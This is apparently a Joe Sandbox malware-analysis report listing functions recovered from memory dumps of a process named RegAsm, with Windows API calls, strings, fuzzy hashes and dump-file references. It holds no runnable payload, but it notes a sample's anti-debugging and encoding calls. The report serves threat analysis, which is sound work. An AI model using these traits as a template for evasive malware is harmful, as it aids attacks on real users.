Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: Locale$InfoValid$CodeDefaultPageUser
String ID:
API String ID: 3475089800-0
Opcode ID: 5ace09f0643fd6edf023da7740a28bae7d4c227f0b5763484de4fda40f171a1f
Instruction ID: a7b609a71a6b5ad30093bdfde44b0c336557b90e45ec40f318e2c516c26a7d89
Opcode Fuzzy Hash: 5ace09f0643fd6edf023da7740a28bae7d4c227f0b5763484de4fda40f171a1f
Instruction Fuzzy Hash: 50517FB1A003199BDF00DFA8CCC5AEE77B8AF68700F514469F945EB290E770E544CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040247E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004024A3
CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,00000000,?,00000000,00000000), ref: 004024C9
CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,?,?,00000000,00000000), ref: 004024E3

Strings

UNK, xrefs: 004024F2

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 24710f217eb89de3a911c962e59937511e8ad6c45f6b7a2033ea0e584d2049c4
Instruction ID: 1db11c524df1ba3f2b3cdc5e317fdc1745e161463e274adae209a2badf0b8562
Opcode Fuzzy Hash: 24710f217eb89de3a911c962e59937511e8ad6c45f6b7a2033ea0e584d2049c4
Instruction Fuzzy Hash: 48014FB260015C7EE711EA99DD81DFB77BCEB44658F1000BBB604A6181D6F8AE485A78

Uniqueness

Uniqueness Score: -1.00%

Function 1B492C8E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 1B6348A7
IsDebuggerPresent.KERNEL32 ref: 1B634973
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1B634993
UnhandledExceptionFilter.KERNEL32(?), ref: 1B63499D

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9a88d4c4e8e8cea26282c3feb9687bc2c79333e8c21b5a135b102b42a6ef9fd0
Instruction ID: 31bc81b5b5b91e9dd87300919530258f0d202e6ea6a0361f4042dc1ef30befe3
Opcode Fuzzy Hash: 9a88d4c4e8e8cea26282c3feb9687bc2c79333e8c21b5a135b102b42a6ef9fd0
Instruction Fuzzy Hash: 673118B9D0521D9BDF10DFA4D9897CDBBF8EF18300F1041AAE54CAB250EB719A858F05

Uniqueness

Uniqueness Score: -1.00%

Function 1B4EEF30 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf41f3b5669224c1154e9b2a92fe1b82126ef762f8275621b626f57154db146f
Instruction ID: 482d3208f290f87b38d2af5aa68c266bc60a94a5c58e0d721e00763f56b9e8f9
Opcode Fuzzy Hash: bf41f3b5669224c1154e9b2a92fe1b82126ef762f8275621b626f57154db146f
Instruction Fuzzy Hash: 4D11E531D449527BDB628B25E840BC6FB90BF48321F058668E8999BB60D325F860C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD97 Relevance: 6.1, APIs: 4, Instructions: 53memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 0040FDBB
GetProcessHeap.KERNEL32(00000000,?,?,00404437,?,?,?,?,?,?), ref: 0040FDC8
HeapAlloc.KERNEL32(00000000,?,00404437,?,?,?,?,?,?), ref: 0040FDCF

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: ad0991718ef18b2bf8ef03264dcc82093b956574455e5d0286dcdbe0f337aa8f
Instruction ID: b0baf21781654d778722d2fe58ae3f68db65f40c6e5e83cc14e0cbddb1f71206
Opcode Fuzzy Hash: ad0991718ef18b2bf8ef03264dcc82093b956574455e5d0286dcdbe0f337aa8f
Instruction Fuzzy Hash: CE012971500219FFDF218FA5DC449ABBBAEFF8A350B20047AF941A3260D6359D51EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1B553770 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ccdf9b743d75f8252b2851f4553c50142fb9d6052622b86404dbf4ff0d5e94
Instruction ID: d2a98928f23e8ac572a924b0bdb8aa491cfea796be63eb507e3d4ff8b14d4084
Opcode Fuzzy Hash: f4ccdf9b743d75f8252b2851f4553c50142fb9d6052622b86404dbf4ff0d5e94
Instruction Fuzzy Hash: 3DE09A35004700BBCE125B51ED46E8ABFA6BF88710F044C1CF5D521570C672A860AB41

Uniqueness

Uniqueness Score: -1.00%

Function 1B5737E0 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 163b20eed04c21f543b465dbf508e26d1b36e382aec2e71a79acdea727c2a907
Instruction ID: bc59f380206d52fb765ea42e83cc6f9ee6fb8d0cebe5d5099ac976546dd5ca40
Opcode Fuzzy Hash: 163b20eed04c21f543b465dbf508e26d1b36e382aec2e71a79acdea727c2a907
Instruction Fuzzy Hash: A5E0BF35004740BBCF125F52EC46F8BBFA6AF8C314F044C1CF59561470C7B2A8A1AB41

Uniqueness

Uniqueness Score: -1.00%

Function 1B535910 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

INSERT INTO '%q'.'%q_idx'(segid,term,pgno) VALUES(?,?,?), xrefs: 1B53597E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: INSERT INTO '%q'.'%q_idx'(segid,term,pgno) VALUES(?,?,?)
API String ID: 0-143322027
Opcode ID: b00e2298a964fa2ee39e910ebb98ed6e8b295c62d6d7dc2bfbaa53eff1003cf9
Instruction ID: ab5d777cfec054a9076f972cf23903808beb3879676356048eaad9d88ebe80e3
Opcode Fuzzy Hash: b00e2298a964fa2ee39e910ebb98ed6e8b295c62d6d7dc2bfbaa53eff1003cf9
Instruction Fuzzy Hash: 4A113AB6500606BFEB109F55DC85FC6BBADFF89318F008555F9089B251C3B2B5A4CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B54D3B0 Relevance: 4.6, APIs: 3, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ce99723b6345aad24377ea125308a6216303bfe646e2d251e407c47f6146cf
Instruction ID: 31b300ac99d0818408f83239e3456e622df7c17267ed91a90e9c3dc200a7fca2
Opcode Fuzzy Hash: 98ce99723b6345aad24377ea125308a6216303bfe646e2d251e407c47f6146cf
Instruction Fuzzy Hash: FE3144B4610201ABFB04EF69EC85F96B3E9FF58214F148928F959C7241E7B5F910CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5355B0 Relevance: 4.6, APIs: 3, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c04bdca72e0e63e8687a95d3f621364c964cbf46967514ec5f0fa986b1a92318
Instruction ID: c11cf5350287a0d2333891451eca823124872330cfa0a9877888face8d4a11be
Opcode Fuzzy Hash: c04bdca72e0e63e8687a95d3f621364c964cbf46967514ec5f0fa986b1a92318
Instruction Fuzzy Hash: 78318BB5500301AFEF109F29EC85B9AB7E9EF84359F10882CF8858B361E771E990CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1B50E170 Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902a87da297e264a9e862ae0cde9f59cc3f3419bb1a04509bd1201f2d4081541
Instruction ID: 4e7144197631f01528edef44c52db5f49491af033c9aa0f2eb6941b28e20f680
Opcode Fuzzy Hash: 902a87da297e264a9e862ae0cde9f59cc3f3419bb1a04509bd1201f2d4081541
Instruction Fuzzy Hash: 3511E479A002017BFA10AF399C46FDB76AEDFC8754F14081CF985D3241EA32E91197A2

Uniqueness

Uniqueness Score: -1.00%

Function 1B492112 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

GetEnabledXStateFeatures, xrefs: 1B670C61

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: GetEnabledXStateFeatures
API String ID: 0-1068256093
Opcode ID: dbf727c37c10751f32ab045c9ddfac58d62437f83106434467ceb93fa75cca0a
Instruction ID: bbcbc5e54cd788ba8e05fe92fe568d2d3522ceb002f1374eb2ab10f43a95b14e
Opcode Fuzzy Hash: dbf727c37c10751f32ab045c9ddfac58d62437f83106434467ceb93fa75cca0a
Instruction Fuzzy Hash: E8F0C2B950112877CF163F60DD48BDE3E16AFA8B21F014525FD4826294DA72992196E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB47 Relevance: 3.1, APIs: 2, Instructions: 61timeCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FB4C

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

GetSystemTime.KERNEL32(?,004253D8,00000000,00000001,00000000,00425502,004254FF), ref: 0040FB8C

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologSystemTimelstrcpy
String ID:
API String ID: 818586813-0
Opcode ID: fad617f0d976be7dad0ee63a09eada3ef602cfcdba4d093542321a0bef98dcae
Instruction ID: 4df3709997d0cc12e09e6dacff74294a906b8749b286f4ad1b2c6ae5e2a4139a
Opcode Fuzzy Hash: fad617f0d976be7dad0ee63a09eada3ef602cfcdba4d093542321a0bef98dcae
Instruction Fuzzy Hash: D911E671A00214EBCB05EFAAC851AAEFBB5EF95714F40847FE406B7291C7785A05CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1B682D38 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(1B682EA6,00000001,00000000,?,?,?,1B68362E,00000000), ref: 1B682DAA

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 9932a3f707ea16d9654554b8be40d529ce37319d761065789030ec01b0099fce
Instruction ID: 1e4f94e29ef0e476c417299fbcf88f9df3440f85d9e4c0fecb1c28a605598c0e
Opcode Fuzzy Hash: 9932a3f707ea16d9654554b8be40d529ce37319d761065789030ec01b0099fce
Instruction Fuzzy Hash: C411487B6007029FDB089F38C891AEABBA2FF80358B14442CEA8787B40D771B407CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1B682DF9 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(1B68318D,00000001,?,?,?,?,1B6835F6,?), ref: 1B682E43

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 8031e8c557a0076543394b13cbe8f5caaa275f2c6ed810838f84f36cbed1edec
Instruction ID: d4bc401b76e0721177f3d9bf248b5159379031839f0c11ada0fc6a01022a99f8
Opcode Fuzzy Hash: 8031e8c557a0076543394b13cbe8f5caaa275f2c6ed810838f84f36cbed1edec
Instruction Fuzzy Hash: 54F08B762003041FDB144F34CCC4BEA7B91FF80768F05842CFA454B680C7B1A802CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1B66FF17 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(1B66FF01,00000001,1B6CD298,0000000C,1B670A92,?), ref: 1B66FF4F

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmpDownload File
